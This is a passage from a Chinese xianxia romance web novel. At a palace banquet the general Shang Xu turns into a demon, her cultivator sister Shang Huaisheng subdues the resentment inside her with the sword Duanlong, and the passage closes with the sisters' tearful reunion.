两人又你一言我一语吵得不知天地为何物,前任见面都是如此,那如果问玉记忆恢复了,他俩会不会一路打到师祖牌位前? 或者问玉会抓着她在三山宗四水阁所有弟子勉强,让她负责,同样也是让她颜面尽失。 商怀笙想到那场景,便觉得心中恶寒,如今问玉被始乱终弃的事情已经传开了,她已经成了个声名狼藉的坏女人,就更不能让问玉恢复记忆了。 此事结束后,一定得离问玉远一点。 第27章 第二十七章 这是……断龙 兴宸殿内, 金碧辉煌,烛光摇曳,数盏宫灯将殿内照得如同白昼, 灯影交错间, 李昱辰身着明黄色团龙常服,步履从容地登上御座。 殿中朝臣跪拜行礼,李昱辰笑容和煦, “今日是宫宴,也是家宴,众爱卿不必拘礼。” 朝臣再拜谢恩,依次入座,桌上已经摆好青玉酒盏,侍女手捧食盒穿梭于席间, 呈上御膳房精心烹制的菜式。 在座皆是请言府重臣, 相文客、商叙、陆雪青位于最前方左侧, 右侧为桑月,问玉与商怀笙, 三人并非朝廷中人, 皆是被特地邀请而来。 “还没来得及介绍一下,这三位是潮海阁的桑月姑娘,三山宗的问玉道长和他的徒弟。久闻桑姑娘大名,今日肯赏脸参宴, 实在是朕与众卿之幸。” “陛下谬赞了。”桑月淡淡应着, 看都没看李昱辰一眼。 李昱辰神色微顿, 当着这么多朝臣被下了面子,他脸色不太好看。 李昱辰吃瘪的神色让商怀笙忍不住想笑,她低头饮酒掩饰笑容, 冷不丁听到李昱辰提到她。 “这位小道长,听闻你在为商将军诊治时立下大功,你叫秦小武?” 商怀笙应道:“是。” 那日商叙问她叫什么,她随口编的名字,不知怎么就传到了李昱辰耳朵中。 李昱辰似乎想到什么,缓缓道:“是个好名字。” 商怀笙笑笑,举杯道,“多谢陛下夸赞。” 按照规矩,皇上还没举杯,她不能擅自敬酒,商怀笙这个动作做出来,底下的人都露出震惊之色,李昱辰自然也是脸色微变。 陆雪青握紧酒杯,满脸担忧地望着她。 念及她是修道之人,不懂皇宫的规矩,李昱辰举杯,话中别有深意,“小武姑娘年纪轻轻,胆识倒是不一般。” “我只是看着年轻,其实已经一百多岁了,按岁数来算,你叫我一声姑奶奶都不过分。” 商怀笙张口就来,李昱辰笑容一僵,脸上有些挂不住。 问玉夺了她的酒杯,换成茶水,“喝几口酒就开始说胡话了?幼徒顽劣,陛下见谅。” 虽是斥责,语中却听不出责备。 “哈哈哈哈怎么会儿。” 李昱辰假笑几声,转头又与陆雪青几人闲谈起来。 商怀笙瞥了眼桌边的酒壶,舔舔嘴唇,正要去拿,眼前的酒壶凭空消失,出现在问玉手中。 “不许再喝了。”问玉用的是传音,语气严肃。 “我酒量很好的。” “那你为何胡言乱语?” “我看他不爽。” “……别喝了。” “你管我!!” 问玉不理她了,任凭商怀笙怎么使眼色他都不理睬,商怀笙气得咬牙,却不能在大庭广众下发作,便悄声骂他: “你又不是我师父,你凭什么管我!!还给我!” “四水阁弟子有任务在身时需禁酒,我可以去你师父那里告状。” “嘶——小人!!” 问玉唇角微扬,听着商怀笙小声的嘟囔,将酒壶放到离商怀笙最远的地方。 对面的陆雪青听不见他们在说什么,但见商怀笙唇角微动,心中好奇,只盼着这宴会早点结束,他好去找商怀笙。 陆雪青撑盯着商怀笙看了片刻,便移开目光,担心李昱辰看出端倪。 他见过商怀笙的本来样貌,和小时候的商怀笙十分相像,虽然现在易容后的怀笙也很可爱,但他始终想见到怀笙真实的样貌。 李昱辰没发现他的目光,商叙倒是看到了,小声道:“你这几日对这位秦姑娘颇为上心,难道你?” “嗯。” 陆雪青回过神来,笑容有几分羞涩,很坦荡地承认了自己的感情。 商叙扬眉,“你不是要为我姐守身一辈子吗?” “……你不懂。” 陆雪青答应过要帮商怀笙保守秘密,她没主动告诉商叙自己的身份,自然有她的考量。 商叙笑了下,顺着他的视线看过去,轻声道:“你能放下是好事,可那人也是修道之人,你和她之间不会有结果的。” 陆雪青眼神一暗,“能陪她走一段路也是极好的。” “啧。” 两人的小声交谈被李昱辰发现,他端着酒杯下来,走到三人面前,三人跟着起身,举杯敬酒。 李昱辰摆手道:“我与众爱卿并非君臣,四城本是各自独立,你们归顺大庆,也是为了百姓,来,我敬你们一杯!” 杯酒下肚,李昱辰望着商叙,眼中满是父亲的慈爱,“小叙,你的病如何了?” “得两位道长照料,已经有所好转。” “好,那再好不过了。” 李昱辰拍拍她的肩膀,笑道:“不要这么紧张,我一直将你当做女儿,封你为公主的诏书一直放在勤政殿,只要你愿意……” “末将不敢。”商叙道。 李昱辰笑了笑:“你我情同父女,不必如此拘束。” 他回到主座,三人也随之落座,陆雪青侧目,发现商叙端酒的手微微有些颤抖,他有些担心,商叙却冲他摇摇头:我没事。 相文客一直沉默着,李昱辰偶尔同他讲话,他便应上几句,其他时候则是闷头喝酒。 商怀笙喝不上酒,便一直低头吃东西,别的不说,皇宫里的食物是旁处没法比的,她有时候做梦都会梦见晶莹剔透的水晶虾饺和金黄酥脆的蜜炙乳豚。 商怀笙闷头苦吃,面前的盘子很快见了底,问玉将自己的换过来,见她杯子里空了,又倒上茶水。 他这些事情做得十分自然,在旁人眼中也就是师父宠爱好吃的徒弟,可桑月毕竟认识他多年,目光落在问玉的身上,眼中划过一丝异样的情绪。 她知道问玉是个面冷心善的人,但他待人接物的礼节都流于表面,其实是个很难交心的,正因如此,他对所有不关心的人都一视同仁。 她会喜欢问玉,也是因为旁人都拿她和上一任圣女作比较,连桑月自己都是暗中与那个已逝之人较劲,只有问玉会说你是你她是她,没必要一定要成为另一个人。 当然,他的话说的很不中听,因为不关心,所以他待她和旁人没什么不同。 这是桑月喜欢他的契机,她也很想看看,被问玉圈入自己领域的人,问玉会如何对待。 商怀笙吃饱了,抬起头四处张望,顶着面前石柱上的盘龙发呆,问玉低声不知说了些什么,商怀笙瞪他一眼,问玉不怒反笑,粲然生辉。 桑月移开目光,默默饮下一杯蜜酿,入口却觉得有几分苦涩。 酒过三巡,舞姬翩然入场,水袖翻飞,珠翠叮当作响,裙摆飞扬如牡丹绽放,腕间银铃清响,与琵琶乐声相合,宛如仙乐。 商怀笙酒足饭饱,环顾四周宾客,发现认识的人已经不多了,除了相文客,也只有几个年老的宗室之人有些印象。 舞姬换了一批又一批,商怀笙觉得无趣,转头看向窗外,这里竟能望见祈星台,燃着炬火,夜色中如灿星闪耀。 她显然只是这场宴会的陪衬,李昱辰问过她名字之后便再没理过她,倒是跟问玉和桑月聊得起劲,探求长生之道。 一如既往的无聊。 商怀笙想起李昱辰要收她为义女的前些日子,也是这样一场宴会,那时的落凤原尚未归顺,云月都的城主是个五大三粗但心细如针的将军,相文客也还是个意气风发的少年,言谈间眼中闪烁着光芒。 时过境迁,那将军大抵是死了,相文客也是一副暮气沉沉的样子。 看来这十余年发生了许多事情,从前那些人不知道去了哪里。 她的目光缓缓落在商叙身上,记忆中胆小黏人的妹妹,竟成长为了保家卫国的大将军,实在让人惊喜又感慨。 这是她世上唯一的亲人,她一定会护住她的。 就算她真的被大妖附身,就算她真的伤了人,就算要被门规处置,商怀笙也一定会护住她的。 商叙偶然抬眸,注意到商怀笙的视线,扬唇冲她微笑,举杯,商怀笙也忙端起茶杯,露出灿烂的笑容,抬头将杯中茶水一饮而尽。 甘甜茶水入喉,商怀笙猛然一僵,这几日的平淡下暗藏的一丝不安终于浮出水面,她想起了一个已经被她忽略许久的人,凌盛。 凌盛作为凌枫院少主,身份尊贵,又是被李昱辰邀来捉妖,连她都被邀请来参宴,为何凌盛没有? 难道他已经回去了? 那日他说要去万家巷等待高湘儿鬼魂,明明没有等到,却也没有再与他们联系,是他生性桀骜不愿与他们接触,还是有什么别的事情…… 还有,他既然怀疑商叙,这些天为什么没有任何动作,是因为看到问玉在的缘故吗? 种种疑问袭来,商怀笙心中的不安加剧,抬头看向殿中翩然的舞姬,闪动的首饰让她感觉有些头晕目眩。 商怀笙安慰自己,商叙就在她眼前,不会有什么事情的。 等过了今晚,她就去打听一下凌盛的情况。 商怀笙做了个深呼吸,抬眸对上陆雪青的视线,陆雪青神色一顿,似有几分羞涩,冲她抿唇一笑。 笑得还有几分可爱,眼神明亮又炙热。 商怀笙觉得自己大抵是喝茶喝醉了,竟觉得有几分难为情,歪过头移开视线,落到商叙身上,发现她低着头,手中握着酒杯,一动不动。 她怎么了? 商怀笙正想着,大殿中央的舞姬退下,换来一批乐师,琵琶婉转,演奏着她听不懂的乐曲,又渐渐转变成激昂的曲调,如同千军万马奔驰而来。 桑月抬头安静欣赏,其他人也都沉醉其中,只有商叙,在逐渐加快的曲调中,无法控制地颤抖起来。 陆雪青先发现了商叙的异常,“小叙?……小叙你怎么——!” 话还没说完,商叙暴起,一掌将他拍开,睁开猩红的双眸,一拳将面前的木桌砸了个粉碎,木屑飞到大殿中央,琵琶弦断,发出刺耳的声响。 乐声戛然而止,殿内瞬间炸开锅。 “啊——!!” “商将军发狂了!护驾!护驾!” “来人啊——!!” 乐师四散而去,撞翻案几,琵琶撞碎了一地的木屑,在他们的尖叫声中,底下的朝臣也乱作一团,两侧的侍卫迅速上前,将商叙围在中间。 一人试探上前,却被商叙用手掐住咽喉,指甲划破皮肉,温热血雾喷洒空中,溅到雪白地板上,仿佛开出妖冶的红梅。 商叙挥手一扔,那人飞出数米,砸在石柱之上,发出骨骼断裂的声响。 短暂的安静后,被吓傻的乐师惊声尖叫起来,与他的尖叫一起划破长空的,还有冲天的怨气,与无法抑制的妖气。 商叙被肉眼可见的黑气笼罩,她的骨骼吱嘎作响,口中发出野兽一般的低吟,双目由猩红转为幽深的绿色,在灯光下折射出诡异的光,指甲暴长,皮肤开始浮现出赤红色的毛。 在众目睽睽之下,她变成了妖怪,脑袋像是狐妖,又长着老虎的尾巴,头顶还有两个尖角,皮毛看上去是红色,底下却泛着黑色,看不出来是个什么妖怪。 短暂的寂静后,殿内再次爆发出尖叫。 “妖、妖怪啊——” “商将军,商将军是妖怪!!” “护驾!快保护陛下!” “商将军就是这些天在城中作乱的妖怪!” 妖化后的商叙显然已经恢复了部分神志,她不知所措地看着自己长满长毛的手臂,绿色的瞳孔中尽是疑惑和不安,再看到被她打晕的陆雪青,商叙露出自责的神色,口中发出悲鸣。 这声音落在其他人耳中,便是她要发狂的前兆,不知谁大喊一声,众人齐齐朝着御花园跑去。 “爱卿,莫慌!” 这种时候,李昱辰躲在内监身后,还在冷静地指挥,“一定是事出有因,冷静!” 在皇权的威压下,一些人停下脚步,恐惧地盯着大殿中央一动不动的商叙。 商叙转头看向商怀笙的方向,眼中盈满无措的泪水,商怀笙鼻尖一酸,立马便要上前将她带走。 可没等她行动,数道凌厉剑影划过黑夜,直冲着商叙袭来,凌盛几人御剑而来,道袍翻飞间,七十二道朱砂符咒列成伏妖阵的图形,金光大盛,化作光链向商叙缠去。 “凌盛!” 商怀笙大喝一声,指甲深深掐入掌心。 凌盛与凌枫院其他弟子飞在半空,居高临下地望着她,微微挑眉,是在嘲笑她的不自量力。 而那光链已经化成密不通风的光网,将商叙死死压在地面,割破她的血肉,流出鲜红的血液。 商怀笙怒目圆睁,大脑被怒气侵袭,她咬破舌尖,血腥在口弥漫。 “凌盛——!” 商怀笙一声轻喝,在这混乱的场景中似乎没有引起什么波澜,凌盛几人并未做出反应,却见商怀笙一人上前,竟然徒手抓住了他们做出的伏妖网。 凌盛顿时有些慌了,“你疯了!这是淬了法术的光网,你以为你能徒手……” 说了一半的话戛然而止,凌盛不可置信地盯着底下,商怀笙竟然徒手将那张网撕出一个大洞,将里面的商叙拽了出来。 “这、这不可能,你怎么可能触碰到,你、你……你这是要与妖魔为伍吗!” 眼看着宗门引以为傲的法阵被一个名不见经传的修士撕碎,凌盛理智碎裂,愤愤望向一旁的问玉与桑月。 “二位难道也要置之不理吗,这畜生刚才伤人了!” 问玉没有理睬他,目光紧盯着商怀笙,双拳紧紧攥在一起,身体紧绷,桑月抬眸看了凌盛一眼,捡起地上的琵琶,低头开始弹奏。 轻扬舒缓的乐曲响起,在场的修士都能听出来,是能抚慰入魔修士和暴走妖魔的凝心曲。 与此同时,元妄三人也赶来,他们尚未清楚眼前的情况,便毫不犹豫地站在了商怀笙面前。 凌盛看出来了,这几人是要与他为敌,他冷笑一声,道:“好、好啊,你们常春阁今日是要与这牲畜为伍了!那便别怪我们不客气!” 他们持剑,再次列阵,念起咒语,这次不同的是他们以剑代替符咒,效果比之符咒要强出数倍不止,一旦阵成,顷刻便能让商叙灰飞烟灭。 “你说谁牲畜?!” 商怀笙暴怒,都没有注意到她的瞳孔正在变成猩红色,在凌盛几人的激化中,商叙又开始躁动,不停挣扎起来。 商怀笙单手按住她,商叙身上的怨气太过强烈,灼烧着商怀笙的双手。 她能感觉到那股怨气凝聚成了一只手,死死地抓住了她,似乎想要缠到她的身上。 “商怀笙,松开她,你会被怨气侵蚀。” 问玉的声音飘过来,商怀笙眨眨眼,忽然眼前一片模糊,形成血雾,看不清他所在的位置。 他说的没错,她的确在被这股怨气影响,愤怒、伤心、悲哀、怨恨,无数种情绪在被放大,想要将她彻底吞噬,拉她坠入十八层地狱。 被这股怨气纠缠着,难受的同时,商怀笙想到的却是商叙: 这些年,她都是这么过来的吗? 家人丧命于歹徒之手,唯一的姐姐不在身边,她是怎么熬过来的呢? 李昱辰为什么要把商叙带过来,为什么不好好对待她的家人……好恨,她好恨……想杀人。 商怀笙眼眸染上丝丝血痕,她紧紧地抓住商叙,开始主动吸收她身上的怨气。 这些怨气到了她的身上,商叙就不会那么难受了。 商怀笙身上爆发出一股更加强烈的黑气,四周的地板开始碎裂,碎石崩飞,带着浓烈的怨气,如同石雨般向四周侵袭,无差别攻击所有人,凌盛几人的剑阵还未成,便有人被击飞,他们抵抗碎石都来不及,根本无暇再次列阵。 “嘣——” 桑月手中的琵琶断裂,她一滞,想要招来自己的灵器,却见身侧的身影已经冲上前去,顶着纷飞的碎石,紧紧抓住了风暴中心的商怀笙。 “商怀笙!!” 有人来到她面前,抓住了她另一只手。 是来阻止她的吗?那可不行。 商怀笙正要甩开那人,掌心忽然感到一阵凉意,眼前之人的面孔变得清晰起来。 如明月,如朝阳,如清幽山谷中阵阵清风。 “商怀笙,牵着我,把断龙唤过来的。” 断龙……她好痛苦,她做不到…… “你可以,你是它的主人。” 问玉的声音从未有过的温柔,商怀笙眨眨眼,意识汇聚成丝丝细线,与远处的断龙遥遥感应。 “断——龙——!” 商怀笙声音随轻,却铿锵有力,喊出断龙的瞬间,她握紧问玉的手,身体好像沐浴在暖阳之中。 黑夜之中,一道剑影划破长空,如疾风闯入殿中,嗜血深红色中,银白暗纹闪烁,巨大的黑影笼罩着每一个人,商怀笙抬手,将它牢牢握在掌心。 强大的剑气击飞空中凌盛几人,他们如雪花般倒地,口吐鲜血,眼睁睁看着那把从天而降的灵器。 “这是……断龙。” 桑月喃喃着,眼中写满不可思议。 大殿一片沉寂,连凡人肉眼都能看到,一股浓黑的怨气从商叙身上钻出,钻入商怀笙掌中,又源源不断地被那把重剑吸入。 不过须臾,黑气便化作烟雾,消失在空中,那剑身体微颤,像是打了个饱嗝,身体缩小,乖顺地躺在商怀笙手中。 商怀笙感觉自己像是被无数马蹄踩踏而过,全身酸痛,但大脑倒是清醒许多。 旁边的商叙已经恢复了原样,一个婴儿大小的长毛的东西从她体内出现,和她化成的妖物完全一样,如今也昏死过去,商怀笙把商叙抱在怀里,那只小妖怪扔给了问玉。 万籁俱寂,这种时候,其他人都躲在了暗处,李昱辰看着将商叙护在身边的商怀笙,觉出几分不对,给相文客使了个眼色。 相文客微顿,眼中闪过一丝犹豫,他咬牙,袖中飞出一枚柳叶暗器,闪着银光,以迅雷不及掩耳之势,刺向一旁无人在意的陆雪青。 这两个隐患,总得解决一个。 第28章 第二十八章 像在挑逗他 相文客定定站着, 唇角微微扬起,带着大计即将成功的欣喜。 他还没露出笑容,唇角便瞬间拉了下去, 一个快到模糊的身影来到商叙面前, 一手抱起了昏迷的陆雪青,一手接下了他的暗器。 “老东西,你从前不是最恨暗箭伤人?” 商怀笙将暗器飞回去, 擦着相文客的头发,刺入他身后金龙盘桓的石柱,几缕银丝落下,石柱也发出碎裂的声响,裂痕一路蜿蜒至房顶。 相文客错愕不已,熟悉的感觉袭来, 他双腿微微发软, 刻在心底深深的恐惧冒头, 全身血液瞬间冰冷。 “商、商怀笙?” 他一开口,李昱辰也变了脸色, 悄悄往后挪了几步, 躲在亲卫身后。 “许久不见,老东西们。” 李昱辰已经震惊到无法言喻,直到商怀笙转身看向他,那张一直带着伪善笑意的脸上才透出几分惶恐。 “三王爷, 别来无恙。” “我妹妹和陆大人我就先带走了。” 说罢, 她将陆雪青横抱而起, 走下大殿,一众持剑侍卫畏畏缩缩,不敢上前, 商怀笙目不斜视,径直走出殿门。 她走后许久,余威仍在,众人不敢言语,直至一盏烛火燃尽,殿内忽然暗下,李昱辰才回过神来,转身望去,问玉几人已经离去,凌盛几人也不见所踪。 只有相文客,站在摇摇欲坠的石柱前,面如死灰。 殿外,天际云层已经透出一丝青白,像浸了水的宣纸,渐渐晕开。 * 几人回到客栈,商怀笙把陆雪青放下,紧接着便倒了下去。 “怀笙!” 秦湫惊呼一声,慌张地冲上前,却见商怀笙睁着眼睛,无神地望着天花板。 “师姐,我没事,就是有点累。” 身上疼得像是快要散架,商怀笙觉得全身的气血都在逆流,头昏脑涨,真气也有些紊乱。 问玉将她捞起来,“运功。别这么躺着。” 商怀笙累得半点不能动弹,在问玉的支撑下勉强运气,疏通体内混乱的真气。 感觉自己恢复的差不多了,她刚想开口,问玉松开她,她便向没骨头似的又躺下。 这次她找回了几分力气,问秦湫,“师姐,他俩没事吧?” “性命无碍,只是伤了元气。”秦湫神色凝重,目光仍然落在商怀笙身上,“你感觉如何?” 刚才她看的真切,商怀笙已经步入了暴走的边缘。 她幼时一次睡梦中暴走,整个四水阁都想像是经历了一场地震,有断龙加持,又有天生神力,秦湫不敢想象商怀笙暴走会有多可怕。 若是不小心伤了无辜的人,凌枫院那些人定然会借题发挥,联合其他门派夸大商怀笙的罪名。 幸好。 秦湫余光瞥向问玉,她刚才也看到,问玉手掌冒出白光,浮在商怀笙的身上,压制了她的暴动。 “我没事。”商怀笙的话打断了秦湫的思绪,她眯起眼睛看向一旁的问玉,蜷起手指,想起与他双手紧握的触感,道:“师叔,刚才牵你的手,是不是将你握疼了?” “……” “……” “嘶……” 房间内安静的可怕,闻惠倒吸一口冷气,眼睁睁看着问玉的耳尖染上绯红。 商怀笙是脑子也被断龙吸走了吗? 竟然在这种时候调戏师叔? “商怀笙,你再这般无理就滚出去。” 商怀笙歪头,一脸无辜,“我怎么了?我关心你啊,我力气比较大。” 问玉刚才的冷峻气势荡然无存,眉目间满是愤怒,“我不需要你关心。你知不知道如果你被怨气侵体,你的修为就算是废了!” 商怀笙:“我本来也没什么修为。” “你……”这话说得也有几分道理,问玉一时没法反驳,伸手抓着商怀笙肩膀,见她拎起来,翻了个面,脸朝下摔在床上。 “哎呦疼疼疼——” 做了怨气中转的载体,商怀笙本就全身都疼,被问玉这么一甩,她感觉自己骨头都错位了。 “活该。”问玉呵了一声,“你在李昱辰面前暴露了身份,你妹妹又在殿上大闹一通,你好好想想该怎么处理吧,我可不会给你收拾乱摊子。” 他转身离开,闻惠愣了愣,也跟着他走出房间,留下元妄和秦湫对视一眼,各自低头,一个照料陆雪青,一个去把商怀笙翻过来。 商怀笙翻了个面,纳闷道:“好端端的他为何要生气?我是关心他。” 元妄敲着她的脑袋,“你再大的胆子,也不能对问玉有所图谋,被师父知道了,关你禁闭都是轻的。” “我可没有!” 商怀笙百口莫辩,若没有问玉,刚才她和商叙可能都要暴走,她是真心感谢。 问玉这人真是,半点好话都听不了。 * 闻惠追上问玉,语中满是担心,“师叔,今日之日该如何收场,断龙现世,又被凌枫院的人看到,定然会在修真界引起轩然大波。” “这是商怀笙的灵器,只要她还在修道,这件事早晚会有人知道,不必担心。” “那商叙这件事?”闻惠虽不懂国政,但也看出来今日的局是为了商叙布的,“这样一来,她估计很难再立足。” “她是她,妖是妖,伤人的妖怪已经抓到了。她能不能立足,也不是我们说了算的。”问玉已被商怀笙刚才的话扰乱心绪,心不在焉,“这边不需要我们了,三日后便回去!” “可是……”闻惠目光略过他耳尖,道,“那妖怪,实在出奇,不像是自然形成,倒像是人为制造的。” “唉。” 问玉轻叹一声,设下一道隔音屏障,“我知道。商叙一个凡人,身上既带着那么重的怨气,还有一只四不像的妖怪,你觉得,这会和修真界的人没有关系吗?” 闻惠微微思考,脸色巨变,“天机阁?还是太虚殿?” 问玉摇摇头,“在查清楚之前,不要告诉商怀笙。” 说罢,他撤去屏障,进屋关门,“今日我实在劳累,没事不要吵我。” “……是。” * 问玉已经很久没有梦见过囚龙谷的事情了,来到日曜城后,他有许多事情要做,无暇去想那段缺失的记忆,和那个虽没有印象却在他身上留下烙印的胆大妄为的家伙。 或许是因为初经情事,虽然没了记忆,身体却记住了两人缠绵时的热度,从没有做过春梦的人,一旦梦到,便是无尽缱绻,连空气都变得粘稠,仿佛要将人完全融化。 问玉觉得这是一场梦魇,一只手按着他的两只手腕,压过头顶,胸前的重量压得他喘不过来气,似有羽毛拂过裸露在外的皮肤,他想要逃开,可身体却不由自主地向上迎合…… “是不是将你抓疼了?” 弥漫着雾气的梦境中,忽的冒出一双明亮的眼睛,直勾勾地盯着他,单纯无辜,却又染着一丝欲色。!!! 问玉猛然惊醒,黏腻的空气中,床头的蜡烛还点着,白烛只剩半截,蜡油堆积裹在烛身,他本来只是坐在床头想事情,不知道怎么睡了过去。 他低下头,面色有几分狼狈,冷水沐浴一番,换了身干净的衣裳,坐在桌旁对着即将燃尽的蜡烛发呆。 焰火已经没了刚才的明亮,烛芯低低伏着,问玉揉着额头,努力将刚才梦中的景象赶出脑海,可是越努力却越清晰,甚至从只能看清一双眼睛,逐渐变成了整张熟悉的脸庞。 商怀笙唇角带笑,有几分轻浮,像在挑逗他。 她一贯如此,问玉虽没亲眼见过,但他非常确信,商怀笙去调戏那些男子,定然会是这幅模样。 但这都不是他该关心的。问玉捂着脸,发出沉闷的叹息。 此事解决后,他得尽快找到那个人,现在竟都到了将身边认识的晚辈拉入梦境的地步,若不尽快了结,往后必然会发展成心魔。 * 凌晨时分,商叙身边的春月冬星两姐妹寻来客栈,一同过来的还有陆雪青身边的侍卫颜麟。 他们迟迟等不到自家大人回去,还以为皇宫发生政变,暗中向云月都和落凤原传递消息,两城军队已经在朝着日曜城赶来。 “还是太子身边的侍卫来报,末将才知道大人在此处。” 陆雪青已经醒了,虚弱地卧在踏上,听了颜麟的话,脸色又差了几分,“还不赶紧让他们回去!” 颜麟半跪请罪,“在得知大人安全后,已经让他们撤兵了。” “我没事。” 陆雪青抬眸看向一旁的商怀笙,眼神微微闪烁,溢出一丝喜悦。 他醒来便见商怀笙在身边,就好像她照顾了他整夜。 事实也的确如此,商怀笙身上疼得睡不着,又担心商叙的情况,便一直在旁边守着,偶尔也会来看看陆雪青。 陆雪青扬起唇角,一脸痴态地盯着他,商怀笙伸了个懒腰,道:“不怪李昱辰忌惮,你们俩轻轻松松就集结起两只军队,我要是皇帝,我也不敢放着你们不管。” 她一开口,春月姐妹与颜麟皆满脸震惊。 春月看着她,像是要仔细瞧瞧她的脸,“姑娘,你怎么能直呼陛下圣名,这种话可说不得。” 商怀笙笑道:“你们都敢造反了,还在乎这点规矩?” 陆雪青捂唇笑出声,眼中满是喜爱与欣赏,“怀笙,小叙如何了?” “她无性命之忧,只是劳累过度,。” 她不仅是说给陆雪青,也说给冬星二人,但二人只是盯着她,眼神中似乎有话想说。 商怀笙已经恢复了以前的样子,既然李昱辰都知道,她也没必要再隐瞒。 之前商叙在府中发病,她是以原貌去过的,只是那时候情况紧急,没人注意到她的样貌。 此时二人的眼神都锁定在商怀笙脸上,似乎有什么已经呼之欲出。 “我叫商怀笙。”商怀笙冲她们笑笑,又加上一句,“是商叙的姐姐。” “商怀笙?!” 她二人还没做出什么反应,颜麟先惊呼出声,眼中迸出激动的光芒,兴奋不已,“您就是那位以一敌万,刀枪不入,神力无穷的商将军?!!” 商怀笙说:“我力气是比普通人大些,但刀枪不入就有点扯了。” “我就是因为您才开始习武的!”颜麟眼中尽是崇拜,“若不是您在,我父母妹妹都要死在那些歹人手中了!” 他将衣袍掀开,双腿弯曲,似乎马上就要跪下来向她叩谢。 商怀笙可经不起,连连后退,“你可别——” “颜麟!” 陆雪青轻喝一声,颜麟这才停下动作,站回原处,“属下失态,还请将军见谅。” “无事。” 商怀笙还没在颜麟这边缓过来,一转头见冬星与春月双眼含泪,同样也是抑制不住地激动。 “大人,您回来了,那、那我们家将军知道了吗?” 商怀笙摇摇头,“我还没来得及告诉她。” 春月抹了抹眼泪,“她要是知道了,定会开心,您……您是我家将军……” 唯一的亲人。 这话她不敢说出来,只是低头擦眼泪,衣袖都被浸湿了大半。 商怀笙知道她要说什么,眼神暗了暗,道:“她可能要多睡上一段时间,在别处我不放心,就让她在这里待着吧,我师兄师姐都在,很安全。” “经过昨夜,想必皇宫内也十分混乱,你们留意着朝廷的动向,若是有什么异常,可以来告诉我。” 她俩要回去给商叙收拾换洗衣物,她俩一走,房内便显得空荡,颜麟在陆雪青床前傻站着,看看自家大人,又看看商怀笙。 难怪这几日大人总是笑意盈盈走路带风,原来是商姑娘回来了。 颜麟不自觉带上笑意,陆雪青看他一直盯着商怀笙,轻咳一声: “颜麟,你去给牧宫的人递个消息,让他们留意相文客的动向,相家的几人在何处,最近在接触什么人,统统汇报,如果和军方的人有联系……” 他瞥了商怀笙一眼,压低声音,“悄悄做掉。” “是!” 颜麟得了消息便积极执行,眨眼便翻窗离开。 商怀笙看着随风摇摆的窗户,陆雪青不好意思地解释道:“他向来不走寻常路。” “哦。”商怀笙收回目光,“你和小时候大不相同了,以前那么爱哭,现在倒有一城之主的气势。” 笑意从他眼角溢出,“怀笙,你记起小时候的事情了?” “记得不清楚,只知道你很爱哭。” 他唇角的笑意微微褪去,“我才不爱哭呢,是因为你控制不住自己的力气,老是弄疼了我,我是你被你打哭的。” “啊……”商怀笙扯了扯嘴角,“这样啊。” 陆雪青嘴唇抿成一条直线,“你为了哄我,还说要我和成亲。” “那真是童言无忌了。” “……” 空气仿佛凝滞,商怀笙转身,又转过来,挠挠头,低头看向自己的手指。 尴尬的的氛围正在弥漫,元妄推门进来,打破二人的沉默,“醒了?怀笙,你妹妹也醒了。” “我去瞧瞧!” 商怀笙夺门而出,迫不及待地逃离。 陆雪青神色有几分落寞,元妄抱着胳膊,带着不怀好意的笑,道:“你喜欢怀笙?” 陆雪青点点头,没有丝毫的犹豫。 元妄:“你想追她,就得知道她喜欢什么,要不要我教教你?” 陆雪青眼中冒出期待的光,“还请师兄赐教!” * 商叙从没睡过这么踏实的一觉,没有杂乱血腥的梦,没有鬼压床,没有萦绕在耳边的哭诉,就只是单纯的睡了个觉,是她这些年来的奢望。 她不知道自己昨夜是怎么失去意识的,只记得自己在宴会上,喝了几杯酒,便有了几分醉意,听着乐师的琵琶声,昏昏欲睡……之后便丝毫不记得了。 对了,宴会! 她好像记得宴会上出现了一个长满长毛的妖怪……不对,是她,是她变成了妖怪! 商叙猛然睁开眼,对上秦湫略微有些惊讶的眼神,她眉头微皱,很快舒展开,露出温柔的笑容,“你醒啦?你睡了许久。” “道长。” 商叙记得她,看着周围陌生的环境,她警惕地摸向自己腰间。 她忘了,武器在进殿时都交了上去。 就算有武器也没用,对方是修道之人,一个法术就能让她动弹不得。 她变成了妖怪,她伤了人,他们从前想要救她,为她治病,现在肯定是为了抓她! 商叙内心翻涌,还未在震惊中缓过神来,茫然无措又不安,问道:“你们是来抓我的吗?我是妖怪,对不对?” “你不是,你只是被妖怪附身了而已。” 秦湫指着不远处桌上放着的鸟笼一样的器具,一个模样奇怪的动物正在上蹿下跳,呲着牙威胁,但因为体型太小,根本起不到威慑作用。 “你醒了就好,怀笙很担心你。” ……谁? 她正疑惑着,房门被推开,商怀笙风风火火地跑进来,“你醒了?有没有哪里不舒服?我可要被你累死了,昨晚身子疼了一整晚都睡不着呢,你倒闷头睡到天亮。” 看着那张陌生却又熟悉的脸,商叙怔愣,迷茫,又很快反应过来,从那人的语气中猜出了对方的身份,“你是问玉道长的徒弟?” “我才不是他徒弟呢。”商怀笙顿了顿,露出一个笑容,“我是你姐姐。” “……” 商叙的脸上看不出欣喜,也没有震惊,只是茫然。 “我可以解释的,其实这段时间我一直……” 商怀笙伸手想要摸摸她的脑袋,被商叙一巴掌拍开。 “我才没什么姐姐!我家里人都死光了!” 她突然发起脾气,扭过头,愤愤地瞪着商怀笙。 商怀笙的手僵在半空,不知所措地看向秦湫。 “商叙刚醒过来,还是好好休息……” 秦湫的声音戛然而止,只见商叙的眼眶中瞬间盈满泪水,她死死地咬住嘴唇,倔强地抬起头,眼中有不满,有恨意,但更多的是无尽的委屈。 “……对不起。” 商怀笙不知道该怎么做,双手在裙摆上搓了搓,张开双臂抱住商叙。 “我才没有姐姐!”商叙带着哭腔,想要把她推开,双手却绵软无力,“我姐姐早走了,我家里都死光了!” 她张嘴,狠狠咬上商怀笙的肩膀,“爹娘被杀的时候你在哪里!村子被烧的时候你在哪里!我连他们的尸骨都没找到……我连他们尸骨都没找到!你就这么走了,我回到家你就不见了……” 她还记得小时候姐姐带她去海边捡贝壳,两人窝在一起睡觉,头发缠在一起,第二天再解开……那时候太小了,能够记得的事情不多,却也记得那日姐姐说要去看看小妹妹,结果再也没回来。 一别,就是十五年。 “对不起。” 商怀笙说不出别的话,只是一直重复着对不起,她将商叙抱紧,感受她颤抖的身体,崩溃的哭嚎。 眼泪滴进她的脖颈,冰凉,黏腻,浸湿衣裳。 商叙哭了许久,仿佛耗尽所有力气,又缓缓睡去。 不同的是她这次抓着商怀笙的手腕,沉睡后都没有放开。 